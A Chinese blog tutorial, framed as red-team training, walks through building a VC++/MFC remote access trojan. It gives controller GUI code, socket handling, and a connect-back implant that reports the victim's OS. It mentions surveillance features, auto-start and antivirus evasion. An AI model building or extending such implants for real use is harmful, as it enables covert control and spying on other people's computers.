红队专题-从零开始VC++C/S远程控制软件RAT-MFC-远控介绍及界面编写

红队专题

  • 招募六边形战士队员
  • [1]远控介绍及界面编写
    • 1.远程控制软件演示及教程简要说明
      • 主程序
      • 可执行程序 服务端生成器
      • 主机上线
      • 服务端程序 和 服务
      • 文件管理
      • CMD
      • 进程
      • 服务自启动
      • 主程序
        • 主对话框
        • 操作菜单
        • 列表框
        • 配置信息
      • 多线程操作
      • 非模式对话框
    • 2.环境:
    • 3.界面编程
      • 新建项目
      • 使用静态库MFC
      • 删除默认控件
      • 设置项目
        • 去除兼容问题
      • 调出系统菜单
      • 最大化最小化
      • 可拖拽border
      • 添加资源 菜单
      • 关联菜单 ID
      • 导入资源
      • 添加菜单 信息
      • cpp中添加 UpdateMain代码
      • 添加列表框
      • 列表栏View 改成报表
      • 添加控件变量
      • 主函数初始化端口
      • 类视图重载函数
  • 退出程序
  • [2]界面编写及上线
  • 1.课前回顾
    • unicode编码 字符串
  • 2.界面编程(下)
    • 对话框
      • 重载消息函数
      • 更改对话框同步更改
  • 3.服务端上线,下线,以及客户端的资源销毁(上)
    • 添加socket 变量
    • 添加 socket 消息
    • 填补config信息
    • 创建线程函数 并运行
    • 添加Addhost
    • 添加 getItemData
    • 创建列表节点类
    • ItemData编写
      • 构造函数
      • 类成员监听线程
      • 运行函数
      • 监听线程
  • [3]客户端与服务端连接
  • OnBeginListen 函数
  • Common头文件新建项
    • 结构体宏定义
  • m_Mysocket C++类的编写
    • 添加C++类
  • itemData调用
  • 继承
  • 消息传递函数
    • 上线信息
    • 下线
    • 使用消息宏
    • 声明消息处理函数
    • ShowOnLine()
    • GetSocket()
    • PlaySoundW
  • [4]客户端与服务端连接
  • 服务端编写
    • 新建工程
    • server函数
    • 创建主线程类
      • 获取配置信息
      • 运行
      • command 命令
      • 头文件里创建引用
      • win32 类库/头文件
      • startsocket 开始监听 类函数
        • 添加类
        • StartSocket
        • mysend/myrecv
    • 设置
  • m_sock
  • Common 头文件
    • MSGINFO_S 结构体
  • ThreadMain头文件
  • runflag 启动
  • [5]客户端与服务端连接
    • 操作系统SystemInfo类
      • 获取系统信息
      • 发送系统信息
      • 头文件声明
      • 头文件调用
  • 未找到来自 OleAcc.dll 的导入LINK

在这里插入图片描述

招募六边形战士队员

一起学习 代码审计、安全开发、web攻防、逆向等。。。
私信联系
在这里插入图片描述

[1]远控介绍及界面编写

1.远程控制软件演示及教程简要说明

  • 主程序

在这里插入图片描述

  • 可执行程序 服务端生成器

在这里插入图片描述

  • 主机上线

在这里插入图片描述

  • 服务端程序 和 服务

在这里插入图片描述

在这里插入图片描述

  • 文件管理

在这里插入图片描述

  • CMD

在这里插入图片描述

  • 进程

在这里插入图片描述

  • 服务自启动

在这里插入图片描述

 服务启动  ---- 注销 模式 可以自动启动服务 上线 
  • 编写前 功能了解分析
  • 界面 运行模式

主程序

在这里插入图片描述

主对话框
操作菜单
列表框

在这里插入图片描述在这里插入图片描述

配置信息

在这里插入图片描述

多线程操作

非模式对话框

在这里插入图片描述
在这里插入图片描述在这里插入图片描述

2.环境:

操作系统:Windows 7
编译器:VS2008

3.界面编程

https://www.cctry.com/

新建项目

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

使用静态库MFC

为了在没有 安装运行库的 主机上使用
在这里插入图片描述
在这里插入图片描述在这里插入图片描述在这里插入图片描述

删除默认控件

在这里插入图片描述

设置项目

在这里插入图片描述
在这里插入图片描述在这里插入图片描述

去除兼容问题

在这里插入图片描述

调出系统菜单

在这里插入图片描述

最大化最小化

在这里插入图片描述

可拖拽border

在这里插入图片描述

添加资源 菜单

client.rc 中添加资源
在这里插入图片描述在这里插入图片描述
文件 退出
选项 配置
关于 关于我们

关联菜单 ID

在这里插入图片描述

导入资源

在这里插入图片描述

添加菜单 信息


相关代码
.h  头文件中创建private:CToolBar m_toolbar;    //工具条类CImageList m_imagelist;    // 图像列表CStatusBar m_statusbar;CBitmap m_subbmp[6];CImageList m_mainicon;void UpdateMain(int port);UINT m_port;UINT m_max;UINT m_Sound;public:CListCtrl m_list;

菜单项 + 图标
菜单栏
列表框 + 图标
在这里插入图片描述

cpp中添加 UpdateMain代码

在这里插入图片描述
五个重载方法
第一个 注意 参数 无符号整形
查询 MSDN

在这里插入图片描述
· 位图对象
· 颜色信息

宏 定义 id号 对应 资源
在这里插入图片描述
rc的代码
在这里插入图片描述· id 号
· 资源类型
· 具体路径


void 你的Dlg::UpdateMain(int port)
{// 创建图像列表m_imagelist.Create(32,32,ILC_COLOR24|ILC_MASK,1,1);CBitmap bmp;
//  创建位图对象for(int i=0;i<8;i++){// 通过 id  依次导入位图 bmp.LoadBitmapW(IDB_BITMAP1+i);// 将真彩色255 位图  添加进 image列表m_imagelist.Add(&bmp,RGB(255,255,255));bmp.DeleteObject();//  释放资源}/*m_bmp[0].LoadBitmap(IDB_MENU_EXIT);m_bmp[1].LoadBitmap(IDB_MENU_SETTING);m_bmp[2].LoadBitmap(IDB_MENU_ABOUT);m_subbmp[0].LoadBitmapW(IDB_MENU_AGENT);m_subbmp[1].LoadBitmapW(IDB_MENU_SHUTDOWN);m_subbmp[2].LoadBitmapW(IDB_MENU_RESTART);m_subbmp[3].LoadBitmapW(IDB_MENU_UPDATE);m_subbmp[4].LoadBitmapW(IDB_MENU_HTTP);m_subbmp[5].LoadBitmapW(IDB_MENU_RUN);GetMenu()->GetSubMenu(0)->SetMenuItemBitmaps(0,MF_BYPOSITION, &m_bmp[0], &m_bmp[0]);GetMenu()->GetSubMenu(1)->SetMenuItemBitmaps(0,MF_BYPOSITION, &m_bmp[1], &m_bmp[1]);GetMenu()->GetSubMenu(2)->SetMenuItemBitmaps(0,MF_BYPOSITION, &m_bmp[2], &m_bmp[2]);
*///  工具栏的设定
//  包含九个元素[按钮ID]的  无符号整形  常量 数组     0为竖线const UINT t[9] = {1001,1002,1003,1004,1005,1006,0,1007,1008};// 用于单击事件的触发//  指向this 指针  主对话框m_toolbar.CreateEx(this);
//  id数组  数量m_toolbar.SetButtons(t,9);//  按钮  图标 设置大小m_toolbar.SetSizes(CSize(60,56),CSize(24,24));m_toolbar.SetButtonText(0,_T("文件管理"));m_toolbar.SetButtonText(1,_T("屏幕监控"));m_toolbar.SetButtonText(2,_T("超级终端"));m_toolbar.SetButtonText(3,_T("进程管理"));m_toolbar.SetButtonText(4,_T("视频监控"));m_toolbar.SetButtonText(5,_T("卸载主机"));m_toolbar.SetButtonText(7,_T("程序设置"));m_toolbar.SetButtonText(8,_T("关于软件"));//关联  imagelist   GetToolBarCtrl()获取指针   设置图像列表m_toolbar.GetToolBarCtrl().SetImageList(&m_imagelist);//  状态栏设置BOOL hbar = m_statusbar.Create(this);UINT b[2]={1009,1010};hbar = m_statusbar.SetIndicators(b,2);// 关联状态栏    id   按钮id   风格   长度m_statusbar.SetPaneInfo(0,b[0],SBPS_NORMAL,400);m_statusbar.SetPaneInfo(1,b[1],SBPS_NORMAL,180);CString ListemPort;ListemPort.Format(_T("监听端口:%d"),port);m_statusbar.SetPaneText(0,ListemPort);m_statusbar.SetPaneText(1,_T("在线主机:0 台"));// 重设  工具条 RepositionBars(AFX_IDW_CONTROLBAR_FIRST,AFX_IDW_CONTROLBAR_LAST,0);/*m_mainicon.Create(16,16,ILC_COLOR24|ILC_MASK,1,0);m_mainicon.Add(LoadIcon(AfxGetResourceHandle(),MAKEINTRESOURCE(IDI_USER)));m_mainicon.Add(LoadIcon(AfxGetResourceHandle(),MAKEINTRESOURCE(IDI_CAM)));m_list.SetImageList(&m_mainicon,LVSIL_SMALL);*///  重新 设置列表框  拓展风格    整行选中 报表  复选框m_list.SetExtendedStyle(LVS_EX_FULLROWSELECT|LVS_EX_GRIDLINES|LVS_EX_CHECKBOXES);// 插入条目m_list.InsertColumn(0,_T("地理位置"),LVCFMT_LEFT,160);m_list.InsertColumn(1,_T("IP地址"),LVCFMT_LEFT,110);m_list.InsertColumn(2,_T("操作系统"),LVCFMT_LEFT,90);m_list.InsertColumn(3,_T("代理状态"),LVCFMT_LEFT,60);m_list.InsertColumn(4,_T("服务端版本号"),LVCFMT_LEFT,100);GetClientRect(&m_rect);
}有些东西需要注释掉

添加列表框

程序框最大化
留出 工具栏菜单栏状态栏地方
在这里插入图片描述

列表栏View 改成报表

在这里插入图片描述
在这里插入图片描述

添加控件变量

在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述

注意update函数 在这里插入图片描述

主函数初始化端口

在这里插入图片描述
在这里插入图片描述在这里插入图片描述

类视图重载函数

在这里插入图片描述
在这里插入图片描述

BOOL CExecN0vvDlg::PreTranslateMessage(MSG* pMsg)
{// TODO: 在此添加专用代码和/或调用基类if(pMsg->message==WM_KEYDOWN){int nVirtKey = (int)pMsg->wParam;if(nVirtKey==VK_RETURN || nVirtKey==VK_ESCAPE){return TRUE;}}return CDialog::PreTranslateMessage(pMsg);
}

判断 传入的无符号整形的参数 是否为 WM_KEYDOWN
按键消息
等于回车 或者 ESC 截断

退出程序

void CExecN0vvDlg::OnClose()
{// TODO: 在此添加消息处理程序代码和/或调用默认值int t = MessageBoxW(_T("确定要退出程序吗?"),_T("提示"),MB_YESNO|MB_ICONINFORMATION);if(t == IDYES){//CloseAllSocket();::closesocket(s);m_Mysock.Clean();}else{return;}CDialog::OnClose();
}
private:CToolBar m_toolbar;CImageList m_imagelist;CStatusBar m_statusbar;CBitmap m_subbmp[6];CImageList m_mainicon;void UpdateMain(int port);UINT m_port;UINT m_max;UINT m_Sound;CRect m_rect;bool InitSocket();SOCKET s;static DWORD WINAPI OninitSocket(LPVOID self);void AddHost(SOCKET sock,SOCKADDR_IN addr);void GetNewItemData(SOCKET sock,SOCKADDR_IN addr);LRESULT OnAddHost(WPARAM wparam,LPARAM lparam);LRESULT OnOffLine(WPARAM wparam,LPARAM lparam);void ShowOnLine();CMysocket m_Mysock;public:CListCtrl m_list;virtual BOOL PreTranslateMessage(MSG* pMsg);afx_msg void OnSize(UINT nType, int cx, int cy);afx_msg void OnClose();
};

[2]界面编写及上线

1.课前回顾

#pragma comment(lib,“ws2_32.lib”)

unicode编码 字符串

_T 宏

多字节编码 ----字符集 知识点
项目属性

在这里插入图片描述
在这里插入图片描述

2.界面编程(下)

对话框

对话框资源


头文件 添加
private:CToolBar m_toolbar;CImageList m_imagelist;CStatusBar m_statusbar;CBitmap m_subbmp[6];CImageList m_mainicon;void UpdateMain(int port);UINT m_port;UINT m_max;UINT m_Sound;CRect m_rect;   //  矩形变量

在这里插入图片描述
在这里插入图片描述

重载消息函数

查看声明

在这里插入图片描述

 Dlgcpp里//  当客户端大小发生改变   计算差值  客户端内部控件 同步改变
void CExecN0vvDlg::OnSize(UINT nType, int cx, int cy)
{//  基类 对对话框改变CDialog::OnSize(nType, cx, cy);
// 类型等于最小化的 宏if(nType == SIZE_MINIMIZED){return;}// TODO: 在此处添加消息处理程序代码CWnd *pWnd;  // 窗口类指针pWnd = GetDlgItem(IDC_LIST1);     //获取控件句柄  条目id// 控件大小操作if(pWnd)//判断是否为空,因为对话框创建时会调用此函数,而当时控件还未创建{CRect rect,rect_l;   //获取控件变化前大小  eg  50x50GetClientRect(&rect_l);   // 客户区  控件大小pWnd->GetWindowRect(&rect);ScreenToClient(&rect);rect.right = cx;  // 把控件大小变换//rect_l 变化前   rect.bottom= rect.bottom + (rect_l.bottom - m_rect.bottom);pWnd->MoveWindow(rect);//设置控件大小//  重设状态栏  置底RepositionBars(AFX_IDW_CONTROLBAR_FIRST,AFX_IDW_CONTROLBAR_LAST,0);}/*else{delete pWnd;}*/GetClientRect(&m_rect);//  还是记录初始值}

在这里插入图片描述

更改对话框同步更改

在这里插入图片描述
初始化时候调用了 updatemain
初始化程序界面
获取客户端程序客户区 界面大小
存放在 m_rect

3.服务端上线,下线,以及客户端的资源销毁(上)

列表控件

在这里插入图片描述

常规对应 socket指针
我们对应一个类指针

启动监听线程
不会发生阻塞状态

添加socket 变量

在这里插入图片描述

添加 socket 消息

头文件定义 InitSocket
在这里插入图片描述


Dlgcpp 加入 bool C你的Dlg::InitSocket() //初始化SOCKET
{WSADATA WSAData;  // 初始化WSAStartup(MAKEWORD(2,2), &WSAData);SOCKADDR_IN saddr;  //  声明结构体// 结构体操作 初始化 s=::socket(AF_INET,SOCK_STREAM,0);if(s==SOCKET_ERROR){MessageBox(_T("创建连接失败"),_T("提示"),MB_OK|MB_ICONWARNING);return false;}// 结构体赋值saddr.sin_family=AF_INET;saddr.sin_addr.S_un.S_addr=INADDR_ANY;saddr.sin_port=htons(m_port);int nRet;nRet=::bind(s,(SOCKADDR *)&saddr,sizeof(saddr));if(nRet == SOCKET_ERROR){MessageBox(_T("绑定端口失败"),_T("提示"),MB_OK|MB_ICONWARNING);return false;}// 最大上线主机数量  m_max   Wint类型nRet=listen(s,m_max);if(nRet == SOCKET_ERROR){MessageBox(_T("监听端口失败"),_T("提示"),MB_OK|MB_ICONWARNING);return false;}while(1){SOCKET SerSock;SOCKADDR_IN Seraddr;  // 结构体int Seraddrsize=sizeof(Seraddr);// 接受连接SerSock = accept(s,(sockaddr *)&Seraddr,&Seraddrsize);if (SerSock == INVALID_SOCKET){continue;}//  添加主机AddHost(SerSock,Seraddr);}return true;
}

syc系列 winSocket I/O模型

填补config信息

在这里插入图片描述

创建线程函数 并运行

为了适配多线程

防止上面的循环死锁 堵塞
所以把初始化操作封装到一个函数内


Dlgcpp //  空指针  传递了一个 当前类的 this指针
DWORD WINAPI C你的Dlg::OninitSocket(LPVOID self) //初始化Socket线程
{// 强制转换C你的Dlg* t = (C你的Dlg*)self;t->InitSocket();return 0;
}头文件静态声明static DWORD WINAPI OninitSocket(LPVOID self);

在这里插入图片描述

关闭句柄

添加Addhost

void C你的Dlg::AddHost(SOCKET sock,SOCKADDR_IN addr) //添加主机函数
{GetNewItemData(sock,addr);//  每一个主机节点都是一个类的指针  新申请一个类指针return;
}头文件声明
void AddHost(SOCKET sock,SOCKADDR_IN addr);

添加 getItemData


void C你的Dlg::GetNewItemData(SOCKET sock,SOCKADDR_IN addr) //获取新的条目数据
{//   条目信息类  指针  并判断 id是否重复CItemData *item;int id;  //声明新的idint Count = m_list.GetItemCount();if(Count == 0){id = 0;}else{id = 0;for(int i=0;i<Count;i++){item = (CItemData*)m_list.GetItemData(i);if(item->m_id == id)  // 判断是否为这个 id{i = 0;id = id + 1;continue;}}}item = NULL;item = new CItemData(id,sock,&addr,this->m_hWnd);// 声明一个 条目类item->Run();// 最后调用了 run这个函数
}头文件声明
void GetNewItemData(SOCKET sock,SOCKADDR_IN addr);

创建列表节点类

在这里插入图片描述
在这里插入图片描述
头文件中调用这个类

在这里插入图片描述

ItemData编写

构造函数


cpp 方法   条目信息CItemData::CItemData(UINT id,SOCKET sock,SOCKADDR_IN *addr,HWND m_hWnd)
{this->m_id = id;  // 上线主机id号  删除操作this->m_sock = sock;   // 消息传递   SOCKADDR_IN *addr  对方ip获取操作this->m_hWnd = m_hWnd;  //  获取父类指针char *csIP = inet_ntoa(addr->sin_addr);  // inet_ntoa 获取ip addr结构体m_IP.Format(_T("%s"),_T("127.0.0.1"));m_Address.Format(_T("未知"));if(m_Address.IsEmpty())  // 地理位置信息{m_Address.Format(_T("未知"));} 
}//m_IP.Format(_T("%s"),m_str.CharToCString(csIP));//m_Address = QQ.IP2Add(m_IP);头文件#pragma onceclass CItemData
{
public:CItemData(UINT id,SOCKET sock,SOCKADDR_IN *addr,HWND m_hWnd);~CItemData(void);UINT m_id;void Run();SOCKET GetSocket();CString m_IP;CString m_Address;CString m_OS;CString m_Ver;  // 操作系统版本bool Cam;   //  摄像头// 私有成员变量
private: SOCKET m_sock; HWND m_hWnd;static DWORD WINAPI OnListen(LPVOID lp);void OnBeginListen();
};

类成员监听线程

DWORD WINAPI CItemData::OnListen(LPVOID lp)
{CItemData* t = (CItemData*)lp;t->OnBeginListen();  // 调用监听线程return 0;
}

运行函数

用多线程手法来运行 监听线程


void CItemData::Run()
{::CloseHandle(CreateThread(0,0,OnListen,(LPVOID)this,0,0));
}

监听线程

监听远程主机信息 操作

发送信息等等

void CItemData::OnBeginListen() //等待完善
{
}

在这里插入图片描述

[3]客户端与服务端连接

OnBeginListen 函数

远程主机节点信息条目

前情回顾

主函数->初始化->创建线程->while循环监听->主机上线->itemrun->创建远程信息监听线程
(获取操作系统,磁盘信息)

void CItemData::OnBeginListen() //等待完善
{int nRet;  // socket 是否发送成功MSGINFO msg;     // 接受远程主机发送过来的信息 的结构体   双向memset(&msg,0,sizeof(MSGINFO));  // 初始化 重置0msg.Msg_id = SYSINFO;nRet = m_Mysocket.SendCommand(m_sock,(char*)&msg,sizeof(MSGINFO));  // 操作类// send 成员方法  发送连接if(nRet == SOCKET_ERROR){MessageBox(_T("获取系统信息消息发送失败"),_T("警告"),MB_OK|MB_ICONWARNING);}memset(&msg,0,sizeof(MSGINFO));while(true)   // 不断获取远程客户端发送来的信息{//  结构体格式发送            socket值   缓存区字符(指针强制转换)     大小nRet = m_Mysocket.RecvCommand(m_sock,(char*)&msg,sizeof(MSGINFO));if(nRet == 0){if(WSAGetLastError()==WSAEWOULDBLOCK)  //WSAEWOULDBLOCK的错误,则表示要发生阻塞了{Sleep(50);continue;   //进行下次循环}else{//接收消息失败,发送下线通知::closesocket(m_sock);::SendMessageW(this->m_hWnd,ID_OFFLINE,this->m_id,0);  //  发送给主窗口// itemdata 的成员  m_hWnd  获取 类的指针//       窗体  消息  高字节  低字节   下线主机的id值   0return;}}else{switch(msg.Msg_id)   //  消息的判断{case SYSINFO:  // 获取主机信息操作{  // 上线处理SYSTEMINFO systeminfo;// 初始化memset(&systeminfo,0,sizeof(SYSTEMINFO));memcpy(&systeminfo,msg.context,sizeof(SYSTEMINFO));GetSysVer(systeminfo);::SendMessage(m_hWnd,ID_ONLINE,(WPARAM)this,0);}break;}}}
}

远控软件 的 消息传递 - 结构体

消息 类别id、内容

typedef struct tagMSGINFO  
{int Msg_id;BYTE context[1024*5];
}MSGINFO;#define SYSINFO  0x01

Common头文件新建项

在这里插入图片描述

结构体宏定义

#pragma once
#include "stdafx.h"
#define SYSINFO  0x01//  两个消息  上线  下线信息
#define ID_ONLINE WM_USER+1  
#define ID_OFFLINE WM_USER+2typedef struct tagMSGINFO //传输消息结构体
{int Msg_id;BYTE context[1024*5];
}MSGINFO;typedef struct tagSYSTEMINFO //上线信息
{int os;bool Cam; //摄像头double ver;
}SYSTEMINFO;

m_Mysocket C++类的编写

添加C++类

在这里插入图片描述

头文件

public:CMySocket(void);~CMySocket(void);void Clean();int RecvCommand(SOCKET socket,char* buf,int bytes);int SendCommand(SOCKET socket,const char* buf,int bytes);
};

源文件

int CMySocket::SendCommand(SOCKET socket,const char* buf,int bytes)
{// char 的指针 const char *b = buf;while(bytes > 0)    // 保证完全发送{ int r = send(socket,b,bytes,0);   // 用api发送if(r < 0)   // 发送出错{ return r; } else if(r == 0)  // 成功{break;} bytes -= r; b += r; } return b - (char*)buf;
}int CMySocket::RecvCommand(SOCKET socket,char* buf,int bytes)
{char *b = (char*)buf;while(bytes > 0){int r = recv(socket,b,bytes,0);if(r < 0){return 0;}else if(r == 0){break;}bytes = bytes - r;b = b + r;}return b - (char*)buf;
}void CMySocket::Clean()
{::WSACleanup();   //  销毁 WSA 调用
}

itemData调用

头文件引入

#include "MySocket.h"
#include "Common.h"private:static DWORD WINAPI OnListen(LPVOID lp);  // 生存周期比较长 静态void GetSysVer(SYSTEMINFO sys);CMySocket m_Mysocket;   // 引入

源文件引入

void CItemData::GetSysVer(SYSTEMINFO sys)
{this->Cam = sys.Cam;this->m_Ver.Format(_T("%0.2lf 测试版"),sys.ver);switch(sys.os){case 4:{this->m_OS.Format(_T("Windows 7"));}break;case 3:{this->m_OS.Format(_T("Windows 2003"));}break;case 2:{this->m_OS.Format(_T("Windows Vista"));}break;case 1:{this->m_OS.Format(_T("Windows XP"));}break;case 0:{this->m_OS.Format(_T("Windows 2000"));}break;default:{this->m_OS.Format(_T("未知系统版本"));}}
}

在这里插入图片描述

继承

class CItemData : public CDialog
也可以添加类的时候 写上基类

 MessageBox( _T("获取系统信息消息发送失败"),_T("警告"),MB_OK|MB_ICONWARNING);

消息传递函数

将结构体传递到窗体

上线信息

LRESULT C你的Dlg::OnAddHost(WPARAM wparam,LPARAM lparam) //主机上线消息体
{CItemData *t = (CItemData*)wparam;  // 高字节强制转换成类指针int i = m_list.GetItemCount();m_list.InsertItem(i,t->m_Address,0);m_list.SetItemText(i,1,t->m_IP);m_list.SetItemText(i,2,t->m_OS);m_list.SetItemText(i,3,_T("未开启"));m_list.SetItemText(i,4,t->m_Ver);m_list.SetItemData(i,(DWORD)t);  //  指针保存ShowOnLine();if(m_Sound == 1)    // 初始化的值{PlaySoundW(_T("Sound\\online.wav"),0,SND_FILENAME|SND_ASYNC);}return 0;
}

下线

LRESULT C你的Dlg::OnOffLine(WPARAM wparam,LPARAM lparam) //主机下线消息体
{CItemData* t;for(int i=0;i<m_list.GetItemCount();i++){t = (CItemData*)m_list.GetItemData(i);  // 获取类的指针  id 号强转if(t->m_id == (int)wparam)   //  比较{::closesocket(t->GetSocket());delete t;  //  防止资源泄漏m_list.DeleteItem(i);  }}ShowOnLine();     if(m_Sound == 1){PlaySoundW(_T("Sound\\offline.wav"),0,SND_FILENAME|SND_ASYNC);}return 0;
}

使用消息宏

    //主机消息ON_MESSAGE(ID_ONLINE,OnAddHost)ON_MESSAGE(ID_OFFLINE,OnOffLine)

声明消息处理函数

头文件中

private:LRESULT OnAddHost(WPARAM wparam,LPARAM lparam);LRESULT OnOffLine(WPARAM wparam,LPARAM lparam);  // 长指针void ShowOnLine();

ShowOnLine()

更新底部状态栏的数量

void  C你的Dlg::ShowOnLine() //设置在线主机
{int c=m_list.GetItemCount();CString online;TCHAR* szText;online.Format(_T("在线主机:%d 台"),c);szText = online.GetBuffer(online.GetLength());// 状态栏类   重设消息值  ::SendMessageW(m_statusbar, SB_SETTEXTW, (WPARAM)1, (LPARAM)szText);online.ReleaseBuffer();//  释放缓冲区
}

在这里插入图片描述

GetSocket()

SOCKET CItemData::GetSocket()
{return this->m_sock;
}SOCKET GetSocket();

在这里插入图片描述
在这里插入图片描述

PlaySoundW

#include <mmsystem.h>
#pragma comment(lib, "WINMM.LIB")

v

[4]客户端与服务端连接

服务端编写

新建工程

在这里插入图片描述
在这里插入图片描述

server函数

// FackExec_N0vv.cpp : 定义控制台应用程序的入口点。
//#include "stdafx.h"void Server();void Server()
{CThreadMain Thread_Main;  // 主线程类  对象Thread_Main.GetInfo(); //获取配置信息/*if(Auto[1] == '1'){wcscpy_s(Thread_Main.MyServiceName,(wchar_t*)ServiceName);}*/// 增加自启动  服务名while(true){if(Thread_Main.RunFlag == false){break;}SOCKET sock;sock = Thread_Main.Run();Thread_Main.Command(sock);}
}int _tmain(int argc, _TCHAR* argv[])
{Server();return 0;
}

创建主线程类

在这里插入图片描述

获取配置信息

 void CThreadMain::GetInfo()
{int Port = atoi(czPort);this->Time = atoi(czTime);this->SetupDir = atoi(czSetupDir);this->AutoFlag = atoi(czAuto);
}用来生成配置文件

在这里插入图片描述

运行

 
SOCKET CThreadMain::Run()
{SOCKET sock;while(true){sock = m_sock.StartSocket(this->Address);  // 连接远程主机  ipif(sock == NULL){Sleep(this->Time * 1000);  //  等待60sprintf("Sleep\n");continue;}else{break;}}return sock; }

command 命令

void CThreadMain::Command(SOCKET Sock)
{MSGINFO_S msg;m_Socket = Sock;while(1){if(this->RunFlag == false)  // 程序是否可以运行{break;}memset(&msg,0,sizeof(MSGINFO_S));   //  消息结构体 清空if(m_sock.MyRecv(Sock,(char*)&msg,sizeof(MSGINFO_S))==0)   // 连接{break;}ExecCommand(msg,Sock);  // 执行命令}return;
}void CThreadMain::ExecCommand(MSGINFO_S msg,SOCKET l_Socket)
{switch(msg.Msg_id){case SYSINFO:{printf("GetSystemInfo\n");m_sys.SendSysinfo(l_Socket);}break;default:{printf("UnKnow Command\n");return;}}
}

头文件里创建引用

#pragma onceclass CThreadMain
{
public:CThreadMain(void);~CThreadMain(void);void GetInfo();private:SOCKET Run();void Command(SOCKET Sock);void ExecCommand(MSGINFO_S msg,SOCKET l_Socket);
};

win32 类库/头文件

#include <winsock2.h> stdafx.h中
头文件调用 stdafx.h
在这里插入图片描述

#pragma comment(lib,“ws2_32.lib”)
#pragma comment(lib,“User32.lib”)
#pragma comment(lib,“Advapi32.lib”)
在这里插入图片描述

startsocket 开始监听 类函数

添加类

在这里插入图片描述

StartSocket

链接远程ip地址

SOCKET CMySocket::StartSocket(char Address[160])
{WSADATA data;WORD w=MAKEWORD(2,2);::WSAStartup(w,&data);SOCKET s;s=::socket(AF_INET,SOCK_STREAM,0);sockaddr_in addr;addr.sin_family = AF_INET;addr.sin_port = htons(m_port);addr.sin_addr.S_un.S_addr = inet_addr(Address);if(::connect(s,(sockaddr*)&addr,sizeof(addr))==SOCKET_ERROR){printf("Connect Error\n");DWORD e = GetLastError();printf("LastError:%d\n",e);s = NULL;}else{printf("Connect Success!\n");}return s;
}SOCKET StartSocket(char Address[160])
mysend/myrecv
int CMySocket::MySend(SOCKET socket,const char* buf,int bytes)
{const char *b = buf;while(bytes > 0) { int r = send(socket,b,bytes,0); if(r < 0) {printf("Socket_Error\n");return r; } else if(r == 0){printf("Socket_Error\n");break;} bytes -= r; b += r; } return b - (char*)buf; 
}int CMySocket::MyRecv(SOCKET socket,char* buf,int bytes)
{char *b = (char*)buf;while(bytes > 0){int r = recv(socket,b,bytes,0);if(r < 0){return 0;}else if(r == 0){break;}bytes = bytes - r;b = b + r;}return b - (char*)buf;
}
#pragma once
#include "stdafx.h"class CMySocket
{
public:CMySocket(void);~CMySocket(void);SOCKET StartSocket(char Address[160]);int MySend(SOCKET socket,const char* buf,int bytes);int MyRecv(SOCKET socket,char* buf,int bytes);
};

在这里插入图片描述

设置

在这里插入图片描述

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

m_sock

#pragma once#include "stdafx.h"
#include "MySocket.h"private: void ExecCommand(MSGINFO_S msg,SOCKET l_Socket);CMySocket m_sock;char Address[160];
};

在这里插入图片描述

void CThreadMain::GetInfo()
{int Port = 1474;//this->Time = 60;//this->SetupDir = 0;//this->AutoFlag = 1;m_sock.m_port = Port;strcpy_s(Address,"127.0.0.1");}

Common 头文件

头文件 新添加项

在这里插入图片描述

MSGINFO_S 结构体


#pragma once
#include <windows.h>
#define SYSINFO  0x01typedef struct tagMSGINFO //传输消息结构体
{int Msg_id;BYTE context[1024*5];
}MSGINFO_S;typedef struct tagSYSTEMINFO
{int os;bool Cam; //摄像头double ver;
}SYSTEMINFO_S;

ThreadMain头文件

#pragma once#include "stdafx.h"
#include "MySocket.h"
#include "Common.h"class CThreadMain
{
public:CThreadMain(void);~CThreadMain(void);void GetInfo();bool RunFlag;SOCKET Run();void Command(SOCKET Sock);private:void ExecCommand(MSGINFO_S msg,SOCKET l_Socket);CMySocket m_sock;char Address[160];SOCKET m_Socket;};

runflag 启动

#include "stdafx.h"
#include "ThreadMain.h"
#pragma comment(lib,"ws2_32.lib")
#pragma comment(lib,"User32.lib")
#pragma comment(lib,"Advapi32.lib")void Server();void Server()
{CThreadMain Thread_Main;Thread_Main.RunFlag = true;Thread_Main.GetInfo(); //获取配置信息

在这里插入图片描述
在这里插入图片描述

[5]客户端与服务端连接

发送连接->进入主线程->返回socket->执行命令

->SYSINFO获取系统信息->发送系统信息

 switch(msg.Msg_id){case SYSINFO:{printf("GetSystemInfo\n");m_sys.SendSysinfo(l_Socket);}break;default:{printf("UnKnow Command\n");return;}}

封装类
谁使用谁声明谁调用
免杀 kill 类 做成dll文件 分离释放

操作系统SystemInfo类

在这里插入图片描述

获取系统信息

int CSystemInfo::GetSys_ver()
{OSVERSIONINFO osver = {sizeof(OSVERSIONINFO)};GetVersionEx(&osver);int t;if (osver.dwMajorVersion == 5 && osver.dwMinorVersion == 0){t = 0;}else if (osver.dwMajorVersion == 5 && osver.dwMinorVersion == 1){t = 1;}else if (osver.dwMajorVersion == 6 && osver.dwMinorVersion == 0){t = 2;}else if (osver.dwMajorVersion == 5 && osver.dwMinorVersion == 2){t = 3;}else t = 4;return t;
}

在这里插入图片描述

发送系统信息


void CSystemInfo::SendSysinfo(SOCKET sock)
{SYSTEMINFO_S system;system.os = GetSys_ver();system.ver = 0.1; //版本号system.Cam = false;MSGINFO_S msg;memset(&msg,0,sizeof(MSGINFO_S));msg.Msg_id = SYSINFO;memcpy(msg.context,&system,sizeof(SYSTEMINFO_S));m_sock.MySend(sock,(char*)&msg,sizeof(MSGINFO_S));// 使用了 CMysocket这个类
}

头文件声明

#pragma once
#include "MySocket.h"
#include "Common.h"class CSystemInfo
{
public:CSystemInfo(void);~CSystemInfo(void);void SendSysinfo(SOCKET sock);CMySocket m_sock;
private:int GetSys_ver();};

#define SYSINFO 0x01
// 通用结构体文件

在这里插入图片描述
路径
自启动

头文件调用

 #pragma once#include "stdafx.h"
#include "MySocket.h"
#include "Common.h"
#include "SystemInfo.h"class CThreadMain
{
public:CThreadMain(void);~CThreadMain(void);void GetInfo();bool RunFlag;SOCKET Run();void Command(SOCKET Sock);private:void ExecCommand(MSGINFO_S msg,SOCKET l_Socket);CMySocket m_sock;char Address[160];SOCKET m_Socket;int Time;CSystemInfo m_sys;};

在这里插入图片描述

未找到来自 OleAcc.dll 的导入LINK

/DELAYLOAD:OleAcc.dll;

warning LNK4199: 已忽略

在这里插入图片描述
在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/172345.html

